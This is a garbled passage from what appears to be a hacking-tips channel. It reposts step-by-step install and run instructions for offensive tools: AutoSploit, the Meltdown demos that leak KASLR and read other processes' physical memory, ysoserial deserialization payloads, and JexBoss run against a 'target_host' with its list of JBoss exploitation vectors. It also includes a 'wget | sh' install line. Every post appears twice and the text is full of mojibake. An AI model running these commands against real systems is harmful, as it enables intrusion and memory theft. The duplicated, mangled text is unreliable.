3) git clone https://github.com/NullArray/AutoSploit.git
4) virtualenv <PATH-TO-YOUR-ENV>
5) source <PATH-TO-YOUR-ENV>/bin/activate
6) cd <PATH-TO-AUTOSPLOIT>
7) pip2 install -r requirements.txt
8) chmod +x install.sh
9) ./install.sh
10) python autosploit.py
_EOF
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ all http injectors tricks in africa > patched > lastest report
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Meltdown lastest bug :
The applications in this repository are built with libkdump, a library we developed for the paper. This library simplifies exploitation of the bug by automatically adapting to certain properties of the environment.
twitter.com/UndercOdeTC
π¦πβπππΈπππππΈπππβ & βπβ
on ubuntu
1) sudo yum install -y glibc-static
2) git clone https://github.com/IAIK/meltdown
3) make
4) taskset 0x1 ./test
5) + demo vid - inside same git link
π¦Starting with Linux kernel 4.12, KASLR (Kernel Address Space Layout Randomizaton) is active by default. This means, that the location of the kernel (and also the direct physical map which maps the entire physical memory) changes with each reboot.
1) This demo uses Meltdown to leak the (secret) randomization of the direct physical map. This demo requires root privileges to speed up the process. The paper describes a variant which does not require root privileges.
> Build and Run
> make
>sudo taskset 0x1 ./kaslr
2) After a few seconds, you should see something similar to this
[+] Direct physical map offset: 0xffff880000000000
π¦Reliability test (reliability)
TNow tests how reliable physical memory can be read. For this demo, you either need the direct physical map offset or you have to disable KASLR by specifying nokaslr in your kernel command line.
> Build and Run
Build and start reliability. If you have KASLR enabled, the first parameter is the offset of the direct physical map. Otherwise, the program does not require a parameter.
> make
> sudo taskset 0x1 ./reliability 0xffff880000000000
> After a few seconds, you should get an output similar to this:
[-] Success rate: 99.93% (read 1354 values)
Demo #4: Read physical memory (physical_reader)
π¦ Now reads memory from a different process by directly reading physical memory> ) or you have to disable KASLR by specifying nokaslr in your kernel command line.
> In principal, this program can read arbitrary physical addresses. However, as the physical memory contains a lot of non-human-readable data, we provide a test tool (secret), which puts a human-readable string into memory and directly provides the physical address of this string.
1) Build and Run
For the demo, first run secret (as root) to get the physical address of a human-readable string:
2) make
3) sudo ./secret
It should output something like this:
[+] Secret: If you can read this, this is really bad
[+] Physical address of secret: 0x390fff400
[+] Exit with Ctrl+C if you are done reading the secret
While the secret program is running, start physical_reader. The first parameter is the physical address printed by secret. If you do not have KASLR disabled, the second parameter is the offset of the direct physical map.
4) taskset 0x1 ./physical_reader 0x390fff400 0xffff880000000000
After a few seconds, you should get an output similar to this:
[+] Physical address : 0x390fff400
[+] Physical offset : 0xffff880000000000
[+] Reading virtual address: 0xffff880390fff400
5) If you can read this, this is really bad
π¦ Dump the memory (memdump)
This demo dumps the content of the memory. As demo #3 and #4, it uses the direct physical map, to dump the contents of the physical memory in a hexdump-like format.
> Again, as the physical memory contains a lot of non-human-readable content, we provide a test tool to fill large amounts of the physical memory with human-readable strings.
Build and Run
For the demo, first run memory_filler to fill the memory with human-readable strings. The first argument is the amount of memory (in gigabytes) to fill.
> make
> ./memory_filler 9
> Then, run the memdump tool to dump memory contents. If you executed memory_filler before, you should see some string fragments. If you have Firefox or Chrome with multiple tabs running, you might also see parts of the websites which are open or were recently closed.
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Meltdown lastest bug :
The applications in this repository are built with libkdump, a library we developed for the paper. This library simplifies exploitation of the bug by automatically adapting to certain properties of the environment.
twitter.com/UndercOdeTC
π¦πβπππΈπππππΈπππβ & βπβ
on ubuntu
1) sudo yum install -y glibc-static
2) git clone https://github.com/IAIK/meltdown
3) make
4) taskset 0x1 ./test
5) + demo vid - inside same git link
π¦Starting with Linux kernel 4.12, KASLR (Kernel Address Space Layout Randomizaton) is active by default. This means, that the location of the kernel (and also the direct physical map which maps the entire physical memory) changes with each reboot.
1) This demo uses Meltdown to leak the (secret) randomization of the direct physical map. This demo requires root privileges to speed up the process. The paper describes a variant which does not require root privileges.
> Build and Run
> make
>sudo taskset 0x1 ./kaslr
2) After a few seconds, you should see something similar to this
[+] Direct physical map offset: 0xffff880000000000
π¦Reliability test (reliability)
TNow tests how reliable physical memory can be read. For this demo, you either need the direct physical map offset or you have to disable KASLR by specifying nokaslr in your kernel command line.
> Build and Run
Build and start reliability. If you have KASLR enabled, the first parameter is the offset of the direct physical map. Otherwise, the program does not require a parameter.
> make
> sudo taskset 0x1 ./reliability 0xffff880000000000
> After a few seconds, you should get an output similar to this:
[-] Success rate: 99.93% (read 1354 values)
Demo #4: Read physical memory (physical_reader)
π¦ Now reads memory from a different process by directly reading physical memory> ) or you have to disable KASLR by specifying nokaslr in your kernel command line.
> In principal, this program can read arbitrary physical addresses. However, as the physical memory contains a lot of non-human-readable data, we provide a test tool (secret), which puts a human-readable string into memory and directly provides the physical address of this string.
1) Build and Run
For the demo, first run secret (as root) to get the physical address of a human-readable string:
2) make
3) sudo ./secret
It should output something like this:
[+] Secret: If you can read this, this is really bad
[+] Physical address of secret: 0x390fff400
[+] Exit with Ctrl+C if you are done reading the secret
While the secret program is running, start physical_reader. The first parameter is the physical address printed by secret. If you do not have KASLR disabled, the second parameter is the offset of the direct physical map.
4) taskset 0x1 ./physical_reader 0x390fff400 0xffff880000000000
After a few seconds, you should get an output similar to this:
[+] Physical address : 0x390fff400
[+] Physical offset : 0xffff880000000000
[+] Reading virtual address: 0xffff880390fff400
5) If you can read this, this is really bad
π¦ Dump the memory (memdump)
This demo dumps the content of the memory. As demo #3 and #4, it uses the direct physical map, to dump the contents of the physical memory in a hexdump-like format.
> Again, as the physical memory contains a lot of non-human-readable content, we provide a test tool to fill large amounts of the physical memory with human-readable strings.
Build and Run
For the demo, first run memory_filler to fill the memory with human-readable strings. The first argument is the amount of memory (in gigabytes) to fill.
> make
> ./memory_filler 9
> Then, run the memdump tool to dump memory contents. If you executed memory_filler before, you should see some string fragments. If you have Firefox or Chrome with multiple tabs running, you might also see parts of the websites which are open or were recently closed.
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦How to generating payloads that exploit unsafe Java object deserialization
1) ysoserial is a collection of utilities and property-oriented programming "gadget chains" discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects.
2) The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.
t.me/UndercOdeTesting
π¦πβπππΈπππππΈπππβ & βπβ
1) git clone https://github.com/frohoff/ysoserial
2) cd ysoserial
3) java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
Available payload types:
Payload Authors Dependencies
------- ------- ------------
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Clojure @JackOfMostTrades clojure:1.8.0
./........
4) java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
5) mvn clean package -DskipTests
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦How to generating payloads that exploit unsafe Java object deserialization
1) ysoserial is a collection of utilities and property-oriented programming "gadget chains" discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects.
2) The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.
t.me/UndercOdeTesting
π¦πβπππΈπππππΈπππβ & βπβ
1) git clone https://github.com/frohoff/ysoserial
2) cd ysoserial
3) java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
Available payload types:
Payload Authors Dependencies
------- ------- ------------
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Clojure @JackOfMostTrades clojure:1.8.0
./........
4) java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
5) mvn clean package -DskipTests
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ General X Window Options > commands :
t.me/UndercOdeTesting
π¦ ππΌππ πππΈβπ :
> descriptions of the commands of the X Window System. These commands have a common set of parameters. Instead of listing these parameters in the description of each command, we will list them here.
> General X Window Options
> PARAMETER VALUE
-background
red green sippy
Setting a cyst background
-background color Setting the background color of the window
-bg color Setting the background color of the window
-display
system. server number
Using an X server with a given number (usually 0) on a given system
-fg color Setting the primary color of the window
-fn font Using the specified font
-font font Using the specified font
-foreground color
red green blue
Setting the primary color of the window
-foreground color Setting the primary color of the window
-geometry
width height + x + y
Set window size and location
-geometry widths height Setting window sizes
-geometry + x + y Setting the position of the upper left corner of the window
-height line Setting the window size vertically, in rows
-position x y Setting the position of the upper left corner of the window, in pixels
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ General X Window Options > commands :
t.me/UndercOdeTesting
π¦ ππΌππ πππΈβπ :
> descriptions of the commands of the X Window System. These commands have a common set of parameters. Instead of listing these parameters in the description of each command, we will list them here.
> General X Window Options
> PARAMETER VALUE
-background
red green sippy
Setting a cyst background
-background color Setting the background color of the window
-bg color Setting the background color of the window
-display
system. server number
Using an X server with a given number (usually 0) on a given system
-fg color Setting the primary color of the window
-fn font Using the specified font
-font font Using the specified font
-foreground color
red green blue
Setting the primary color of the window
-foreground color Setting the primary color of the window
-geometry
width height + x + y
Set window size and location
-geometry widths height Setting window sizes
-geometry + x + y Setting the position of the upper left corner of the window
-height line Setting the window size vertically, in rows
-position x y Setting the position of the upper left corner of the window, in pixels
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦2020 updated GEF - GDB Enhanced Features for exploit devs & reversers
>GEF (pronounced Κ€Ιf - "Jeff") is a set of commands for x86/64, ARM, MIPS, PowerPC and SPARC to assist exploit developers and reverse-engineers when using old school GDB. It provides additional features to GDB using the Python API to assist during the process of dynamic analysis and exploit development. Application developers will also benefit from it, as GEF lifts a great part of regular GDB obscurity, avoiding repeating traditional commands, or bringing out the relevant information from the debugging runtime.
> t.me/UndercOdeTesting
π¦πβπππΈπππππΈπππβ & βπβ:
# via the install script
1) wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh
# manually
2) wget -O ~/.gdbinit-gef.py -q https://github.com/hugsy/gef/raw/master/gef.py
3) echo source ~/.gdbinit-gef.py >> ~/.gdbinit
Then just start playing:
4) gdb -q /path/to/my/bin
gefβ€ gef help
π¦Features :
A few of GEF features include:
> One single GDB script.
> Entirely OS Agnostic, NO dependencies: GEF is battery-included and is installable in 2 seconds (unlike PwnDBG).
> Fast limiting the number of dependencies and optimizing code to make the commands as fast as possible (unlike PwnDBG).
>Provides a great variety of commands to drastically change your experience in GDB.
>Easily extendable to create other commands by providing more comprehensible layout to GDB Python API.
>Works consistently on both Python2 and Python3.
>Built around an architecture abstraction layer, so all commands work in a ny GDB-supported architecture such as x86-32/64, ARMv5/6/7,
> AARCH64, SPARC, MIPS, PowerPC, etc. (unlike PEDA)
> Suited for real-life apps debugging, exploit development, just as much as CTF (unlike PEDA or PwnDBG
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦2020 updated GEF - GDB Enhanced Features for exploit devs & reversers
>GEF (pronounced Κ€Ιf - "Jeff") is a set of commands for x86/64, ARM, MIPS, PowerPC and SPARC to assist exploit developers and reverse-engineers when using old school GDB. It provides additional features to GDB using the Python API to assist during the process of dynamic analysis and exploit development. Application developers will also benefit from it, as GEF lifts a great part of regular GDB obscurity, avoiding repeating traditional commands, or bringing out the relevant information from the debugging runtime.
> t.me/UndercOdeTesting
π¦πβπππΈπππππΈπππβ & βπβ:
# via the install script
1) wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh
# manually
2) wget -O ~/.gdbinit-gef.py -q https://github.com/hugsy/gef/raw/master/gef.py
3) echo source ~/.gdbinit-gef.py >> ~/.gdbinit
Then just start playing:
4) gdb -q /path/to/my/bin
gefβ€ gef help
π¦Features :
A few of GEF features include:
> One single GDB script.
> Entirely OS Agnostic, NO dependencies: GEF is battery-included and is installable in 2 seconds (unlike PwnDBG).
> Fast limiting the number of dependencies and optimizing code to make the commands as fast as possible (unlike PwnDBG).
>Provides a great variety of commands to drastically change your experience in GDB.
>Easily extendable to create other commands by providing more comprehensible layout to GDB Python API.
>Works consistently on both Python2 and Python3.
>Built around an architecture abstraction layer, so all commands work in a ny GDB-supported architecture such as x86-32/64, ARMv5/6/7,
> AARCH64, SPARC, MIPS, PowerPC, etc. (unlike PEDA)
> Suited for real-life apps debugging, exploit development, just as much as CTF (unlike PEDA or PwnDBG
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦2020 Windows Exploit Suggeste
> list of vulnerabilities the OS is vulnerable to, including any exploits for these vulnerabilities. Every Windows OS between Windows XP and Windows 10, including their Windows Server counterparts, is supported
> twitter.com/UndercodeTC
π¦πβπππΈπππππΈπππβ & βπβ:
1) On your linux
> git clone https://github.com/bitsadmin/wesng#windows-exploit-suggester---next-generation-wes-ng
2) go dir
> Obtain the latest database of vulnerabilities by executing the command wes.py --update.
3) Use Windows' built-in systeminfo.exe tool to obtain the system information of the local system, or from a remote system using systeminfo.exe /S MyRemoteHost, and redirect this to a file: systeminfo > systeminfo.txt
4) Execute WES-NG with the systeminfo.txt output file as the parameter: wes.py systeminfo.txt. WES-NG then uses the database to determine which patches are applicable to the system and to which vulnerabilities are currently exposed, including exploits if available.
5) As the data provided by Microsoft's MSRC feed is frequently incomplete and false positives are reported by wes.py,
6) Additionally, make sure to check the Eliminating false positives page at the Wiki on how to interpret the results. For an overview of all available parameters, check CMDLINE.md.
# top 2020
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦2020 Windows Exploit Suggeste
> list of vulnerabilities the OS is vulnerable to, including any exploits for these vulnerabilities. Every Windows OS between Windows XP and Windows 10, including their Windows Server counterparts, is supported
> twitter.com/UndercodeTC
π¦πβπππΈπππππΈπππβ & βπβ:
1) On your linux
> git clone https://github.com/bitsadmin/wesng#windows-exploit-suggester---next-generation-wes-ng
2) go dir
> Obtain the latest database of vulnerabilities by executing the command wes.py --update.
3) Use Windows' built-in systeminfo.exe tool to obtain the system information of the local system, or from a remote system using systeminfo.exe /S MyRemoteHost, and redirect this to a file: systeminfo > systeminfo.txt
4) Execute WES-NG with the systeminfo.txt output file as the parameter: wes.py systeminfo.txt. WES-NG then uses the database to determine which patches are applicable to the system and to which vulnerabilities are currently exposed, including exploits if available.
5) As the data provided by Microsoft's MSRC feed is frequently incomplete and false positives are reported by wes.py,
6) Additionally, make sure to check the Eliminating false positives page at the Wiki on how to interpret the results. For an overview of all available parameters, check CMDLINE.md.
# top 2020
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦UPDATED Advanced vulnerability scanning with Nmap NSE
> Vulscan is a module which enhances nmap to a vulnerability scanner. The nmap option -sV enables version detection per service which is used to determine potential flaws according to the identified product. The data is looked up in an offline version of VulDB.
t.me/UndercOdeTesting
π¦ ππΌππ πππΈβπ :
1) install the files into the following folder of your Nmap installation:
Nmap\scripts\vulscan\*
2) Clone the GitHub repository like this:
git clone https://github.com/scipag/vulscan scipag_vulscan
3) ln -s
4) nmap -sV --script=vulscan/vulscan.nse www.example.com
π¦Single Database Mode
You may execute vulscan with the following argument to use a single database:
--script-args vulscandb=your_own_database
It is also possible to create and reference your own databases. This requires to create a database file, which has the following structure:
<id>;<title>
> Just execute vulscan like you would by refering to one of the pre-delivered databases. Feel free to share your own database and vulnerability connection with me, to add it to the official repository.
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦UPDATED Advanced vulnerability scanning with Nmap NSE
> Vulscan is a module which enhances nmap to a vulnerability scanner. The nmap option -sV enables version detection per service which is used to determine potential flaws according to the identified product. The data is looked up in an offline version of VulDB.
t.me/UndercOdeTesting
π¦ ππΌππ πππΈβπ :
1) install the files into the following folder of your Nmap installation:
Nmap\scripts\vulscan\*
2) Clone the GitHub repository like this:
git clone https://github.com/scipag/vulscan scipag_vulscan
3) ln -s
pwd/scipag_vulscan /usr/share/nmap/scripts/vulscan 4) nmap -sV --script=vulscan/vulscan.nse www.example.com
π¦Single Database Mode
You may execute vulscan with the following argument to use a single database:
--script-args vulscandb=your_own_database
It is also possible to create and reference your own databases. This requires to create a database file, which has the following structure:
<id>;<title>
> Just execute vulscan like you would by refering to one of the pre-delivered databases. Feel free to share your own database and vulnerability connection with me, to add it to the official repository.
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Java Deserialization Vulnerabilities) verify and EXploitation Tool
> topic tools :
JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server and others Java Platforms, Frameworks, Applications..
twitter.com/UndercOdeTC
π¦πβπππΈπππππΈπππβ & βπβ:
A) Installation on Linux\Mac
To install the latest version of JexBoss, please use the following commands:
1) git clone https://github.com/joaomatosf/jexboss.git
2) cd jexboss
3) pip install -r requires.txt
4) python jexboss.py -h
5) python jexboss.py -host http://target_host:8080
OR:
6) Download the latest version at: https://github.com/joaomatosf/jexboss/archive/master.zip
7) unzip master.zip
8) cd jexboss-master
9) pip install -r requires.txt
10) python jexboss.py -h
11) python jexboss.py -host http://target_host:8080
> If you are using CentOS with Python 2.6, please install Python2.7.
B) Installation example of the Python 2.7 on CentOS using Collections Software scl:
1) yum -y install centos-release-scl
2) yum -y install python27
3) scl enable python27 bash
π¦Installation on Windows
If you are using Windows, you can use the Git Bash to run the JexBoss. Follow the steps below:
1) Download and install Python
2) Download and install Git for Windows
After installing, run the Git for Windows and type the following commands:
PATH=$PATH:C:\Python27\
PATH=$PATH:C:\Python27\Scripts
3) > git clone https://github.com/joaomatosf/jexboss.git
4) cd jexboss
5) pip install -r requires.txt
6) python jexboss.py -h
7) python jexboss.py -host http://target_host:8080
π¦ The exploitation vectors are:
/admin-console
tested and working in JBoss versions 5 and 6
/jmx-console
tested and working in JBoss versions 4, 5 and 6
/web-console/Invoker
tested and working in JBoss versions 4, 5 and 6
/invoker/JMXInvokerServlet
tested and working in JBoss versions 4, 5 and 6
Application Deserialization
tested and working against multiple java applications, platforms, etc, via HTTP POST Parameters
Servlet Deserialization
tested and working against multiple java applications, platforms, etc, via servlets that process serialized objets (e.g. when you see an "Invoker" in a link)
Apache Struts2 CVE-2017-5638
tested in Apache Struts 2 applications
π¦Tested By UndercOde On
> Debian
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Java Deserialization Vulnerabilities) verify and EXploitation Tool
> topic tools :
JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server and others Java Platforms, Frameworks, Applications..
twitter.com/UndercOdeTC
π¦πβπππΈπππππΈπππβ & βπβ:
A) Installation on Linux\Mac
To install the latest version of JexBoss, please use the following commands:
1) git clone https://github.com/joaomatosf/jexboss.git
2) cd jexboss
3) pip install -r requires.txt
4) python jexboss.py -h
5) python jexboss.py -host http://target_host:8080
OR:
6) Download the latest version at: https://github.com/joaomatosf/jexboss/archive/master.zip
7) unzip master.zip
8) cd jexboss-master
9) pip install -r requires.txt
10) python jexboss.py -h
11) python jexboss.py -host http://target_host:8080
> If you are using CentOS with Python 2.6, please install Python2.7.
B) Installation example of the Python 2.7 on CentOS using Collections Software scl:
1) yum -y install centos-release-scl
2) yum -y install python27
3) scl enable python27 bash
π¦Installation on Windows
If you are using Windows, you can use the Git Bash to run the JexBoss. Follow the steps below:
1) Download and install Python
2) Download and install Git for Windows
After installing, run the Git for Windows and type the following commands:
PATH=$PATH:C:\Python27\
PATH=$PATH:C:\Python27\Scripts
3) > git clone https://github.com/joaomatosf/jexboss.git
4) cd jexboss
5) pip install -r requires.txt
6) python jexboss.py -h
7) python jexboss.py -host http://target_host:8080
π¦ The exploitation vectors are:
/admin-console
tested and working in JBoss versions 5 and 6
/jmx-console
tested and working in JBoss versions 4, 5 and 6
/web-console/Invoker
tested and working in JBoss versions 4, 5 and 6
/invoker/JMXInvokerServlet
tested and working in JBoss versions 4, 5 and 6
Application Deserialization
tested and working against multiple java applications, platforms, etc, via HTTP POST Parameters
Servlet Deserialization
tested and working against multiple java applications, platforms, etc, via servlets that process serialized objets (e.g. when you see an "Invoker" in a link)
Apache Struts2 CVE-2017-5638
tested in Apache Struts 2 applications
π¦Tested By UndercOde On
> Debian
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β